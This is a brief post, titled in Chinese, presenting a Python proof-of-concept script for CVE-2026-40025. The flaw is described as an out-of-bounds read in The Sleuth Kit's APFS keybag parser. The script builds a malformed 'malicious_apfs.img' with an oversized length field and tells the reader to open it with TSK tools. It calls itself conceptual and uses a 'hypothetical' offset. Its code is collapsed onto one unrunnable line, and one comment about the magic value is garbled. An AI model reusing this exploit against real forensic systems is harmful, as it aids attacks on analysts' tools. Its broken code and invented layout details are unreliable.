CVE-2026-40025: Sleuth Kit越界读取漏洞

import struct import os # PoC for CVE-2026-40025: The Sleuth Kit APFS Keybag Parser Out-of-Bounds Read # This script generates a malformed APFS image to trigger the vulnerability. def generate_malformed_apfs(filename): """ Creates a minimal malformed APFS image structure. Note: This is a conceptual PoC to demonstrate the trigger mechanism. Actual exploitation requires precise binary layout matching APFS spec. """ # APFS Header Magic (0x42444750 is not APFS, using placeholder for structure) # Real APFS magic is 'NXSB' header_magic = b'NXSB' # Simplified header structure data = bytearray(4096) # 4KB block size data[0:4] = header_magic # In a real scenario, we would craft the Keybag area and specifically # the wrapped_key_parser structure. # Here we simulate the overflow condition by writing a large length # at an offset where the parser expects the keybag length. # Offset 0x200 (hypothetical keybag start) # Malicious length field (larger than buffer) malformed_length = 0xFFFFFFFF # Writing the length field (Little Endian) # This simulates the 'attacker-controlled length field' data[0x200:0x204] = struct.pack('<I', malformed_length) with open(filename, 'wb') as f: f.write(data) print(f"[+] Malformed APFS image generated: {filename}") print(f"[+] Usage: Open this file with 'fls -i raw {filename}' or similar TSK tools.") if __name__ == "__main__": generate_malformed_apfs("malicious_apfs.img")